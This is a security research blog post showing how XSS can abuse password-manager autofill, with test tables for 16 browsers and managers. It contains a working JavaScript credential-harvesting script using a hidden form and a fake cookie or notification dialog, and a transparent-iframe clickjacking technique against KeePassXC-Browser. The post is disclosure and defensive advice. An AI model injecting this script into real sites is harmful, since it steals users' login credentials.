You should turn off autofill in your password manager

13 July 2021

Updated:
19 July 2021: Added examples in "Potential risks for users", explanation of autofill type
27 July 2021: Edited disabling autofill for Firefox
31 July 2021: Added FAQ section, in the new version of Edge you can require a system password before filling in a saved password
Notes:
This article is not about manual autofill (clicking in UI), but about password managers that fill passwords without user interaction (or minimal - one click anywhere). XSS vulnerability can be anywhere on a domain, XSS on login page is not required.

Password managers are a very popular topic in IT security these days. I can only agree with the use of password managers. After all, remembering dozens of unique passwords is almost impossible.

However, it is often no longer mentioned that the autofill function should be disabled or be set to fill only upon user request. Rather, this feature is more often described as a useful feature to ensure a convenient and "secure" login. Yes, it is convenient, but for loss of security.

Most password managers have the autofill feature enabled by default, even though it reduces the security of the stored password.

If a user uses the default configuration or follows the password manager's recommendation, it is possible to steal the saved login credentials from 11 of the 16 tested browsers and password managers in one mouse click. So the database/password on the website doesn't have to be leaked, and the attacker still gets your data - all in readable and unencrypted form (in plaintext).

Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill.

Table of contents:

Autofill

As the name says, this feature ensures that the password managers automatically fill in the login form. The data is pre-filled only for domains where data has been stored.

The behaviour of the autofill depends on many factors. In addition to the domain, the protocol used (http/https), form attributes, and element IDs and names are also checked.

From a security point of view, this feature can be used to verify that users are not on a phishing site. If they were on it, the data would not be automatically filled in. Users might notice unusual behaviour and could check what domain they are currently on.

In addition to "verifying" the phishing site, this is more of a convenience login feature, as the user does not have to click anywhere and has everything pre-filled. However, pre-filled data is a problem because all data is in a readable form (plaintext) and can be accessed with javascript.

Autofill in chromium-based browsers

For chromium-based browsers (except Brave browser), the autofill feature works a bit differently than, for example, Firefox or regular password managers.

In these browsers, the data is filled in automatically at first view, but this is not true. The data in the form is not really filled in. It is only filled in when the user interacts with the website.

The user interaction must be of type isTrusted (=> triggered by the user) with an event such as a keystroke or mouse click. Mouseover, mousemove and similarly "simpler" events do not perform full autofill. If the content of the input is displayed without prior user interaction with the website, only a empty value will be displayed.

To demonstrate, I have created a script that displays the contents of the values in the form after 5 seconds.

<form action="/example.html">
      <label for="username">Username</label><br>
      <input type="text" id="username" name="username"> <br>
      <label for="psw">Password</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Submit">
</form>

<script>
window.setTimeout(function(){
       var username = document.getElementById("username").value;
       var password = document.getElementById("password").value;

       alert(username+":"+password);
}, 5000);
</script>    

You can see how autofill works in chromium-based browsers in the following animations:

0-CLICK

1-CLICK

So the attacker must somehow trick the user into clicking somewhere on the website. In the role of the attacker, I would probably display a notification or cookie dialog. Both types of elements are displayed quite frequently on the sites, so the victim will not suspect suspicious activity.

The goal is not for the victim to click somewhere exactly, but for a click to be made. Displaying an element that makes browsing the site uncomfortable, and which requires interacting with the site to remove, is, in my opinion, a very effective way to get the required click from the user.

Abuse of the autofill? Cross-Site Scripting (XSS)

XSS is the most common web vulnerability. If a web page has this type of vulnerability, it is possible to inject javascript code into the page. The injected code will then perform an action defined by the attacker, such as stealing login credentials.

There are several ways to steal user login credentials using XSS. Someone could think of capturing the values entered to the login form or changing form action value (=address where the data will be sent). Then I have a few questions:

  • What if the XSS vulnerability is not on the same page as the login form?
  • What if the user is already logged in and therefore the login form is not available?

The answer could be that a completely new login form would be displayed to the user. Ideally still with a change of frontend to make it look like he is logged out.

Yes, it could probably work, but with this method I would have to rely on the victim re-entering their credentials. But what if the user doesn't fill out the new login form?

I'm not a fan of complicated interactions from the victim. If I want more than 2 normal mouse clicks from a user, I'm requesting too much and I'm thinking of a different solution. Among other things, if I ask the user to log in again (re-enter credentials), at that point it's primarily based on social engineering.

My approach would be to abuse the autofill feature that password managers have. If I know about the XSS vulnerability, I will use javascript to create a new login form that will be completely hidden to the user. The password manager will detect the presence of this form and will auto-fill the data into it. So the goal would be to take advantage of a misconfiguration in the password manager in use.

Advantages:

  • The attack is happening in the background
  • None or minimal additional interaction from the victim - 1 click
  • XSS vulnerability can be anywhere on the domain, for some password managers even a subdomain is enough
  • User can be logged in or logged out

Limitations:

  • User must have a stored password for the domain
  • Victim must have enabled automatic autofill in password manager
  • Password manager must not be locked/logged out

Differences in victim interactions between "XSS fake login screen" and "XSS hidden login form":

XSS fake login screen: click to username/email input, fill username/email, click to password input, fill password = 4 interactions
XSS hidden login form: 0-1 interactions (maximally 1 click or keystroke)

Analysis of browsers and password managers

As part of the analysis, I focused on the most used browsers and password managers. For password managers, only browser extensions were tested and everything was verified in the desktop-only version (especially Google Chrome). So on mobile phones the behaviour may be completely different.

Tested browsers and password managers:

Google Chrome 91.0.4472.124 - https://www.google.com/chrome
Mozilla Firefox 89.0.2 - https://www.mozilla.org
Safari 14.1.1 - https://www.apple.com/safari
Microsoft Edge 91.0.864.64 - https://www.microsoft.com/edge
Opera 77.0.4054.172 - https://www.opera.com
Internet Explorer 11 - https://www.microsoft.com/internetexplorer
Brave 1.26.74 - https://brave.com
Vivaldi 4.0.2312.36 - https://vivaldi.com

LastPass 4.75.0 - https://chrome.google.com/webstore/detail/hdokiejnpimakedhajhdlcegeplioahd
1Password 2.0.4 - https://chrome.google.com/webstore/detail/aeblfdkhhhdcdjpifhhbdiojplfjncoa
Bitwarden 1.51.0 - https://chrome.google.com/webstore/detail/nngceckbapebfimnlniiiahkandclblb
Dashlane 6.2123.1 - https://chrome.google.com/webstore/detail/fdjamakpfbbddfjaooikfcpapjohcfmg
Roboform 9.2.3.0 - https://chrome.google.com/webstore/detail/pnlccmojcmeohlpggmfnbbiapkmbliob
Keeper 15.3.5 - https://chrome.google.com/webstore/detail/bfogiafebfohielmmehodmfbbebbbpei
KeePassXC-Browser 1.7.8.1 - https://chrome.google.com/webstore/detail/oboonakemofpalcgghocfoadofidjkkk
Sticky Password 8.3.1.3 - https://chrome.google.com/webstore/detail/bnfdmghkeppfadphbnkjcicejfepnbfes

1) Browsers and password managers in default configuration

Enabled autofill Required user action to fill in data User action
Google Chrome Yes Yes Interaction with the site
(keystroke, mouse click)
Mozilla Firefox Yes No
Safari No Yes Selection from drop-down list
Microsoft Edge Yes Yes Interaction with the site
(keystroke, mouse click)
Opera Yes Yes Interaction with the site
(keystroke, mouse click)
Internet Explorer Yes No
Brave No Yes Selection from drop-down list
Vivaldi Yes Yes Interaction with the site
(keystroke, mouse click)
LastPass Yes No
1Password No Yes Selection from UI extension
Bitwarden No Yes Selection from the context menu
Selection from UI extension
Dashlane Yes No
Roboform No Yes Click on the icon in the form
Selection from UI extension
Keeper* Yes/No No/Yes
KeePassXC-Browser No Yes Click on the icon in the form
(vulnerable to clickjacking)
Selection from UI extension
Sticky Password Yes No

* Keeper prompts users at first login if autofill should be enabled for the domain - "Yes" is highlighted to users

Mozilla Firefox and Internet Explorer fill in passwords automatically. Google Chrome and "chromium-based" browsers (with the exception of Brave) only fill in passwords when you interact with the site. In total, it is possible to get the password within one mouse click for 6 browsers.

As for password managers, 3 of them have autofill enabled by default. With the Keeper password manager, the user confirms the dialog before using the stored credentials for the first time. The user is asked if he want to enable autofill for a specific domain. It's worrying that the YES option is highlighted. Once the dialog is confirmed, the user is not asked again in the future and the data is filled in completely automatically.

With autofill password managers, the data is filled in without interaction with the site, i.e. completely automatically and without user assistance. If I count Keeper and the currently vulnerable KeePassXC-Browser, it is possible to get the stored password for 5 password managers in one click.

The behaviour of the autofill depends on the password manager you are using. For a user using only Brave browser for their passwords, the autofill would not happen. If the user had Brave only as a browser, and was using, for example, LastPass as their primary password manager, at that point the behavior of the browser is affected by the password manager. So, if the LastPass manager is installed, the Brave browser would also automatically fill in the data.

1.1) Autofill on different URL Path and changed attributes in the form

The credentials were stored on: https://example.com
Different URL Path: https://example.com/foo
Subdomain: https://subdomain.example.com

Different URL Path:
same attributes
Different URL Path:
different input id
Different URL Path:
different input name
Different URL Path:
different form action
Different URL Path:
change form action
after the site has been loaded
Subdomain:
same attributes
Google Chrome Yes Yes Yes Yes Yes No
Mozilla Firefox Yes Yes Yes No Yes No
Microsoft Edge Yes Yes Yes Yes Yes No
Opera Yes Yes Yes Yes Yes No
Internet Explorer Yes Yes Yes Yes Yes No
Vivaldi Yes Yes Yes Yes Yes No
LastPass Yes Yes No Warning dialog Yes Yes
Dashlane Yes Yes Yes Yes Yes No
Keeper Yes Yes Yes Yes Yes No
KeePassXC-Browser Yes Yes Yes Warning dialog Yes Warning dialog
Sticky Password Yes Yes Yes Warning dialog Yes Yes

In case of an attack, the most important information is how the password manager behaves when the form is displayed on another URL, and also on the subdomain. Name, input ID or other attributes can be changed by the attacker when creating a new form.

It is very disturbing that the LastPass and Sticky Password are filling in data even though it is only a subdomain.

1.2) Autofill on subdomains

The newly created form always had the same attributes as the form where the data was stored.

The credentials were saved on: https://subdomain.example.com
Same subdomain (different URL Path): https://subdomain.example.com/foo
Different subdomain: https://subdomain2.example.com
4. level domain: https://foo.subdomain.example.com

Same subdomain (different URL Path) Different subdomain 4. level domain
Google Chrome Yes No No
Mozilla Firefox Yes No No
Microsoft Edge Yes No No
Opera Yes No No
Internet Explorer Yes No No
Vivaldi Yes No No
LastPass Yes Yes Yes
Dashlane Yes No No
Keeper Yes No No
KeePassXC-Browser Yes No Warning dialog
Sticky Password Yes No Yes

In the LastPass, the data was filled in on a completely different subdomain than the one where the credentials were saved.

2) Password managers with additionally enabled autofill

There may be users who want to switch from a browser-based password manager to another, but with the same behaviour. That is, when using a different password manager, the data will be automatically filled in as they have been used to. So they decide to enable this feature in the settings.

Of the remaining password managers, it is not possible to set up autofill for 1Password, Brave or Safari. For the other Bitwarden, KeePassXC-Browser and Roboform it is possible. If this feature is only enabled (no other changes), none of the managers require additional action from the user - the data is filled in completely automatically.

Bitwarden warns in advance that this is an "experimental" feature. The information that this is an experimental feature is telling the user nothing. First of all, the term experimental doesn't mean unsecure.

The only password manager that warns about the use of this feature is KeePassXC-Browser.

2.1) Autofill on different URL Path and changed attributes in the form:

The credentials were stored on: https://example.com
Different URL Path: https://example.com/foo
Subdomain: https://subdomain.example.com

Only enabling the function was tested. Other settings were not changed, e.g. URL matching and others.

Different URL Path:
same attributes
Different URL Path:
different input id
Different URL Path:
different input name
Different URL Path:
different form action
Different URL Path:
change form action
after the site has been loaded
Subdomain:
same attributes
Bitwarden Yes Yes Yes Yes Yes Yes
Roboform Yes Yes Yes Yes Yes Yes
KeePassXC-Browser Yes Yes Yes Warning dialog Yes Warning dialog

After enabling the autofill function (without additional settings), the security of the saved password was decreased. For example, Bitwarden or RoboForm filled in data on the subdomain as well.

2.2) Autofill on subdomains

The newly created form always had the same attributes as the form where the data was saved.

The credentials were saved on: https://subdomain.example.com
Same subdomain (different URL Path): https://subdomain.example.com/foo
Different subdomain: https://subdomain2.example.com
4. level domain: https://foo.subdomain.example.com

Same subdomain (different URL Path) Different subdomain 4. level domain
Bitwarden Yes Yes Yes
Roboform Yes Yes Yes
KeePassXC-Browser Yes No Warning dialog

Bitwarden and RoboForm filled in data on a completely different subdomain than the one where the credentials were saved.

Limitation

For a successful attack, other conditions must be met in addition to enabling autofill. It can be very limiting if multiple logins are saved for a specific domain. This is because if a user has multiple credentials stored, some password managers do not know which credentials to fill in. Some password managers fill in the last data used, and some give the users a choice of what data they want to fill in, making it impossible to fill in the data automatically.

Autofill with multiple logins
Google Chrome Yes - last used
Mozilla Firefox No
Safari ----
Microsoft Edge Yes - last used
Opera Yes - last used
Internet Explorer No
Brave ----
Vivaldi Yes - last used
LastPass Yes - last used
1Password ----
Bitwarden Yes - last used
(autofill enabled)
Dashlane Yes/No*
Roboform No
(autofill enabled)
Keeper No
KeePassXC-Browser No
(autofill enabled)
Sticky Password No

*A user who has already selected login credentials once in the current tab is YES. In a completely new tab, NO.

Other limitations:

Only one stored password for a specific domain can be stolen.

LastPass:

  • Autofill occurs only for passwords that have been stored after a successful login

Keeper

  • On first login, it asks if autofill should be enabled for the domain - "Yes" is highlighted to users
  • Once the dialog is confirmed, the user is not asked again in the future and the data is filled in completely automatically

Script and demo

Each password manager checks the presence of the login form slightly differently. For one password manager the form must be visible to the user, for another the form may be completely hidden.

Limits that I discovered during writing script:

Chromium-based

  • the user must interact with the site
  • the form can be completely hidden (display:none)

Dashlane

  • can not be used display:none
  • the form must have a minimum opacity 0.2
  • the form must be in a user-visible area (cannot be, for example: left: -1000px)
  • performs autologin (autosubmit) by default

Keeper

  • can not be used display:none
  • form can haveopacity:0
  • performs autologin (autosubmit) by default

Sticky Password

  • can not be used display:none or opacity:0 but can be used opacity:0.000001
  • the form must be in a user-visible area - only a minus value can be set for right and bottom (cannot be, for example: left: -1000px but bottom:-1000px is fine)
  • performs autologin (autosubmit) by default

Bitwarden

  • can not be used display:none or opacity:0 but can be used opacity:0.000001
  • the form must be in a user-visible area

"Bypass", that solves the visibility of the form:

Forms must be set to: position: fixed; bottom: -{height of created form-X}px;
X = minimum visible part for password manager, e.g. Bitwarden:3.0001 (greater than 3), Dashlane:2

The newly created form will be visible for a maximum of 1.5 seconds. The password manager will detect the visible form and fill in the data.

Script (for Red Team/ethical purposes):

Despite the many limitations, I created a script that is usable on the test site for all password managers who have autofill enabled by default. The script also works for password managers who have additionally enabled autofill.

At the beginning, it is possible to define which dialog you want to show to the user (to force a click). It is also possible to set whether to have an overlay behind the dialog (to make the site less readable) or to block scrolling.

When creating a new form, it is not necessary to copy styles (classes) from the original form.

If the script is injected in a site where the original login form already exists, it is necessary to change all identifying attributes of the original form first. Without this change, the password manager may have trouble filling in the information on the newly created form. This would result in a situation where 2 completely identical forms would appear on the website.

Script description:

  1. A new form is created that is identical to the form where the data was stored.
  2. The new form contains a onchange() event. If the content of the form is changed (data is filled in), then the values are extracted - document.getElementById("username").value and document.getElementById("password").value.
  3. If the user uses a password manager (except for chromium-based browsers), there is no requirement to interact with the website. So the first thing to do is to check if there is any data already filled in the newly created form.
  4. If the data has not been filled in within 1500 ms, a notification or cookie dialog is displayed to the user, which forces a click from the user. Forcing a click will fill in the data for chromium-based browsers.
var overlay = "yes";            // yes, no
var scrolling = "no";           // yes, no
var dialog = "notification";    // notification, cookie

createLoginForm();

window.setTimeout(function(){
    hideLoginForm();
    
    // function especially for chromium-based browsers
    // show notification or cookie dialog that require a user interaction
    if (!!window.chrome && !document.getElementById("password").value) {
        showDialog();
        addDialogEvents();
    }
}, 1500);


function createLoginForm() {
    var divlogin = document.createElement("div");
    divlogin.style = "position: fixed; bottom: -19.9999px; z-index: 2147483647; opacity:0.2";
    divlogin.id = "divlogin";
    divlogin.innerHTML  = ' \
            <form method="POST" action="login.html" id="form" onchange="getFormValues()"> \
                <input type="text" id="username" name="username" autocomplete=on required> \
                <input type="password" id="password" name="password" autocomplete=on required> \
                <button type="submit" id="submit">Login</button> \
            </form>';
    document.body.appendChild(divlogin);
}

// remove submit button to prevent autosubmit feature in password managers
function removeSubmitButton() {
  if (document.getElementById("submit")) { 
        var element = document.getElementById("form");
        var child = document.getElementById("submit");  
        element.removeChild(child);
  }
}

function hideLoginForm() {
    divlogin.style.display = "none";
}

function getFormValues() {
    usr=document.getElementById("username").value;
    pw=document.getElementById("password").value;
    
    if (usr && pw) {
        removeSubmitButton();
        hideLoginForm();
        alert(usr+":"+pw);
    } 
}

function showDialog() {
    var overlaydiv = ""; 
    var boxshadow = "";

    var dialogdiv = document.createElement("div");   
    if (overlay == "yes") {
        overlaydiv = '<div id="overlay"></div>';
        boxshadow = 'box-shadow:0 1px 12px rgb(5 27 44 / 33%), 0 2px 32px rgb(5 27 44 / 48%) !important;';
    } else {
        boxshadow = 'box-shadow:0 1px 6px rgb(5 27 44 / 6%), 0 2px 32px rgb(5 27 44 / 16%) !important;';
    }
    
    if (dialog == "cookie") {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #cookie-dialog {display: block!important; position: relative!important; opacity: 1!important; visibility: visible!important; margin: 290px auto 0!important; width: 650px!important; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important; max-width: 90%!important; background: #ffffff!important; padding: 12px 24px!important; overflow: hidden!important; z-index: 9999!important; border: 10px solid #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important; line-height: 1.2!important; text-align: left!important; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: 0!important;left: 0!important;font-family: Arial,serif!important;z-index: 2258594000!important;overflow-y: auto!important;} #cookie-dialog h2 {font-size: 20px!important; line-height: 16px!important; font-weight: 700!important; margin: 10px 0 16px!important; } #cookie-dialog p {margin: 12px 0!important; line-height: 16px!important; text-indent: 0!important; font-weight: 400!important; font-size: 10pt!important; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important; margin-right: 265px!important; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important; color: #000000!important; background: #ffffff!important; padding: 7px 10px!important; text-decoration: none!important; } #cookie-dialog #accept-all {border: none!important; color: #ffffff!important; background: #5fa624!important; text-decoration: none!important; } #links {display: flex!important; font-size: 12px!important; margin-top: 20px!important; } #cookie-dialog a {color: #5fa624!important; text-decoration: none!important; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important; width: auto!important; height: auto!important; position: relative!important; } #accept-all:hover {cursor: pointer!important; background: #5fa624!important; text-decoration: none!important; } .btn:hover {cursor: pointer!important; background: #ffffff!important; text-decoration: none!important; }</style> \
                            '+overlaydiv+'<div id="cookie-div"><div id="cookie-dialog"> <div> <h2>Privacy & Transparency</h2> <p>We and our partners use cookies to  Store and/or access information on a device. We and our partners use data for  Personalised ads and content, ad and content measurement, audience insights and product development. An example of data being processed may be a unique identifier stored in a cookie. Some of our partners may process your data as a part of their legitimate business interest without asking for consent. To view the purposes they believe they have legitimate interest for, or to object to this data processing use the vendor list link below. The consent submitted will only be used for data processing originating from this website. If you would like to change your settings or withdraw consent at any time, the link to do so is in our privacy policy accessible from our home page.</p><p><span id="button-row"><button class="btn">Manage Settings</button><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;">Continue with Recommended Cookies</button> </span> </p> <div id="links"> <a href="javascript:void(0);">Vendor List</a> <span class="bar">|</span><a href="javascript:void(0);">Privacy Policy</a></div></div></div></div>';
        
    } else {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #notification-container #notification-dialog .button {box-sizing: border-box; padding: 0.75em 1.5em; font-size: 1em; border-radius: .25em; font-weight: 400; box-shadow: unset; display: -ms-flexbox; display: flex; float: right; position: relative; line-height: 1.5; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; -webkit-user-select: none; font-family: inherit; letter-spacing: 0.05em; margin: 0; border: 1px solid transparent; } #notification-container #notification-dialog .button.secondary {box-shadow: none; background: white !important; color: #0078D1 !important; margin-right: 0.714em; } #notification-container #notification-dialog .sizing {display: block; -webkit-backface-visibility: initial !important; backface-visibility: initial !important; } #notification-container #notification-dialog .notification-body-message {box-sizing: border-box; padding: 0 0 0 1em; font-weight: 400; float: left; width: calc(100% - 80px); line-height: 1.45em; -o-user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: default; color: #051B2C !important; } #notification-container #notification-dialog .notification-body-icon img.icon {width: 45px; top: 3px; left: 50%; transform: translateX(-50%); position: absolute; height: 45px; } #notification-container #notification-dialog .notification-body-icon {box-sizing: border-box; float: left; width: 80px; height: 80px; position: relative; } #notification-container #notification-dialog .notification-body {box-sizing: border-box; margin: 0; } #notification-container #notification-dialog {width: 500px; box-sizing: border-box; max-width: 100%; margin: 0 auto; '+boxshadow+' background: white !important; color: #051b2c; padding: 1.5em 1.5em; border-bottom-left-radius: 0.5em; border-bottom-right-radius: 0.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Seoe UI Symbol"; } #notification-container {font-size: 16px; position: fixed; z-index: 2258594000; left: 0; right: 0; -webkit-font-smoothing: initial; } #notification-container.slide-down {top: 0; } #notification-dialog .sizing {content: ""; display: block; height: 0; clear: both; } #notification-container #notification-dialog .button.primary {background: #0078D1; color: white !important; } #notification-container #notification-dialog .button.primary:hover {background: #0062ab; } #notification-container.slide-down #notification-dialog {-webkit-animation-name: animationDown; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 400ms; -webkit-animation-fill-mode: forwards; animation-name: animationDown; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 400ms; animation-fill-mode: forwards; -webkit-font-smoothing: initial; } #notification-container.slide-up {-webkit-animation-name: animationUp; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 500ms; -webkit-animation-fill-mode: forwards; animation-name: animationUp; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 500ms; animation-fill-mode: forwards; } @keyframes animationUp {0% {transform: translateY(0%); } 100% {transform: translateY(-150%); } } @keyframes animationDown {0% {transform: translateY(-150%); } 100% {transform: translateY(0); }}</style> \
                            '+overlaydiv+'<div id="notification-container" class="notification-container slide-down"><div id="notification-dialog" class="notification-dialog"><div class="notification-body" id="notification-body"><div class="notification-body-icon"><img class="icon" alt="icon" src=\'data:image/svg+xml,%3Csvg fill="none" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40"%3E%3Cg clip-path="url(%23clip0)"%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M33.232 28.434a2.5 2.5 0 001.768.733 1.667 1.667 0 010 3.333H5a1.667 1.667 0 110-3.333 2.5 2.5 0 002.5-2.5v-8.104A13.262 13.262 0 0118.333 5.122V1.667a1.666 1.666 0 113.334 0v3.455A13.262 13.262 0 0132.5 18.563v8.104a2.5 2.5 0 00.732 1.767zM16.273 35h7.454a.413.413 0 01.413.37 4.167 4.167 0 11-8.28 0 .417.417 0 01.413-.37z" fill="%23BDC4CB"/%3E%3C/g%3E%3Cdefs%3E%3CclipPath id="clip0"%3E%3Cpath fill="%23fff" d="M0 0h40v40H0z"/%3E%3C/clipPath%3E%3C/defs%3E%3C/svg%3E\'></div><div class="notification-body-message">We\'d like to send you notifications for the latest news and updates.</div><div class="sizing"></div></div><div id="buttons"><button class="primary button">Allow</button><button class="secondary button">Cancel</button><div class="sizing"></div></div></div></div>';
    }
    
    document.body.appendChild(dialogdiv);
    
    if (scrolling == "no") {
        document.getElementsByTagName("body")[0].classList.add("no-scroll");
    }
}

function addDialogEvents() {
    window.addEventListener('click', function(){      
        if (overlay == "yes") {
            hideOverlay();
        }  

        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }  

        if (dialog == "cookie") {
           document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }        
    });
    
    window.addEventListener('keydown', function(){
        if (overlay == "yes") {
            hideOverlay();
        }
        
        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }
        
        if (dialog == "cookie") {
            document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }
    });   
}
  
function hideDialog() {
    document.getElementById("notification-container").classList.add("slide-up");
}

function hideOverlay() {
    var x = document.getElementById("overlay");
    x.classList.add("remove-overlay");
    window.setTimeout(function(){
         x.style.display = "none";
    }, 500); 
} 

Demo

Login form for saving your password: https://websecurity.dev/password-managers/login/
Test website with the script: https://websecurity.dev/password-managers/autofill/

Google Chrome - user interaction required

LastPass - password saved after login is automatically filled in


Clickjacking KeePassXC-Browser

In the initial table for the autofill (table), I marked that KeepassXC-Browser is vulnerable to clickjacking. While testing the autofill, I found that KeepassXC-Browser fills in the data on a single click on the icon in the input. I also use one-click in chromium-based browsers, so I added this vulnerability to my analysis.

One click would not be an independent reason for vulnerability. The problem is the different behavior when you create an invisible form and when the form is displayed in an invisible frame (<iframe>).

In the KeepassXC-Browser password manager, the password is filled in by default when you click on the icon

If a new form is created with opacity:0.2, the icon is still same visible

But if the form is in an iframe and the iframe has opacity:0.2, the icon is transparent in the frame => possibility to make the icon invisible

The attacker then just needs to place an invisible iframe where the user clicks. In the case of the script I created, this could be a cookie click or a notification dialog.

In addition to placing iframes on the buttons in the dialog, another method is also suitable - iframe under the mouse cursor. Specifically, this would be an iframe that tracks the position of the cursor. The iframe would have the exact size of the KeepassXC-Browser icon and the content in the iframe would be exactly positioned on the icon. In this case, wherever the user clicks, he always clicks on the icon -> login data will be filled.

Iframe set to opacity:1

Iframe set to opacity:0

Script description:

  1. An XSS vulnerability is used to create a new login form on the page
  2. An iframe will be created that will load the same page -> the iframe will contain the new created form
  3. For the iframe I set the transparency (opacity:0), and also the size to be the same as the icon size
  4. The content in the iframe will be positioned on the newly created form - at the icon position
  5. Iframe will track mouse movement and will be placed under the cursor

Demo (invisible icon)

Login form for saving your password: https://websecurity.dev/password-managers/login/
Test website with the script: https://websecurity.dev/password-managers/clickjacking/


The general problem in this case is that the extension is not always on-top in the iframe. In addition to the mentioned making the icon invisible, it is possible to cover parts of the extension (the icon) or affect the visible part. Below you can see the reduced width of the iframe that affects the visible part of the icon.

Another way of abuse would be to have a 1x1 px iframe and the content would be targeted exactly to the icon. Because of its size, this pixel iframe would not be visible even if the opacity:1 is set. The iframe would always be positioned under the cursor and the technique would be the same - wherever the user clicks, he always clicks on the icon.

If more logins are stored on the domain, the user is shown a selection menu. In the iframe, this selection menu is also hidden for the user. Abuse of KeepassXC-Browser is possible even if multiple logins are stored.

Below you can see how LastPass password manager handles this. The menu is above a semi-transparent iframe, with no resizing or transparency.

Roboform also fills in form data with one click, but it does not have this vulnerability. The icon is also always on top (above the frame) and without transparency change.

Exploitation of this vulnerability occurs only if the password is stored via KeePassXC-Browser. If the password is first saved to KeePassXC, a confirmation dialog is always displayed to the user.

The vulnerability has been reported and will be fixed soon: https://github.com/keepassxreboot/keepassxc-browser/issues/1367

Potential risks for users

Any user who uses autofill may have their saved login credentials stolen. Only one saved entry can be stolen at a time (see Limitations for more information) and only for the domain where the attacker's code was injected. To steal credentials, the victim must visit a site that the attacker has modified.

Example - Stored XSS:
An attacker found Stored XSS on Amazon.com. The vulnerability is in the product review section. Because the attacker is not limited by the product purchase, he posts a review under each product with the XSS (inject an external sript). This injected script will use the methods described above.

  • Any user who has an Amazon.com password stored in their browser or password manager and also uses autofill will be their stored data stolen when he visits any product

Example - Reflected XSS:
An attacker found Reflected XSS on Facebook. Because it is Reflected XSS, the attacker hides the entire URL with a shortener (bit.ly) or via an Open Redirect vulnerability.

  • Any user who has a saved Facebook password and also uses autofill in their browser or password manager will be their saved login credentials stolen when he opens the link

The problem is that the user does not know in advance whether or not malicious code is injected. As an example, last year I reported an XSS vulnerability on Foodpanda.com. So this is a trusted website that was very visited last year because of the covid situation. If the attacker discovered the vulnerability before my report, he could have used the above described technique on users.

If the user always uses a unique generated password and at the same time has 2FA/MFA enabled on the web application, then a possible password leak may not bother the user that much. In the other case, if the user does not have 2FA/MFA enabled on the web application, then a possible password leak may be problematic, as an attacker may be able to log into the user's account repeatedly. If a user used a non-unique password on service was stolen, in this case the attacker also gained access to the victim's other service (if 2FA/MFA is not there).

If the password is stolen using the method described above, the user will not know about the leak, even when he use the https://haveibeenpwned.com site. The administrators of the site where the leak occurred cannot detect the leak. This is because it is a technique that exploits a client-side vulnerability (XSS) and a misconfiguration in the password manager (enabled autofill).

Potential risks for companies / Recommendation for InfoSec

It is quite possible that many employees use a password manager as part of their security processes. From the results described above, it is important to note that they should not use the autofill feature.

It is common for employees to log in to web applications such as email, Jira, Confluence, GitHub/GitLab and others. If a vulnerability is found that allows an attacker to insert custom javascript code into a website (XSS, Subdomain Takeover, Web Cache Poisoning, etc.), he is able to obtain the employee's login credentials, in plaintext. In addition to normal login credentials, an attacker can also obtain AD credentials, as AD login is usually used for internal sites.

No filling out forms on a phishing site. All an attacker needs is if an employee opens a vulnerable page on the company's (sub)domain. If the employee has a saved password and uses autofill so then his login credentials could be stolen.

Example - "insider" attack:
Insider detects that a version of Confluence is in use is vulnerable to Stored XSS. He takes advantage of this knowledge and saves the script on a very visited page. Any employee who has a saved password for Confluence with autofill enabled and visits the changed Confluence page will have their login credentials stolen.

  • This is an attack on the same subdomain, in the default setting autofill has 9 password managers enabled (with Keeper and vulnerable KeePassXC-Browser it is 11 in total)
  • The attack can also be executed by an external attacker if the attacker knows the Reflected XSS vulnerability in the web application (e.g. Jira, Confluence). The stealing of stored credentials would then only happen if the employee opens the attacker's link.

Example - external attack:
An attacker finds a subdomain vulnerable to Subdomain Takeover. He saves a custom script on the domain and sends a link to the company as part of a bugbounty program. An employee using a password manager that autofills passwords on another subdomain may be at risk. An attacker could find out in advance that the company uses Microsoft's email service (Microsoft 365) and modify the new login form accordingly. Why Microsoft email services? Unlike Google, with Microsoft, logging in usually redirects to the organization's subdomain -> password stored on the subdomain. So an employee who uses autofill for their email and opens the "subdomain takeover" link may have their email login credentials stolen.

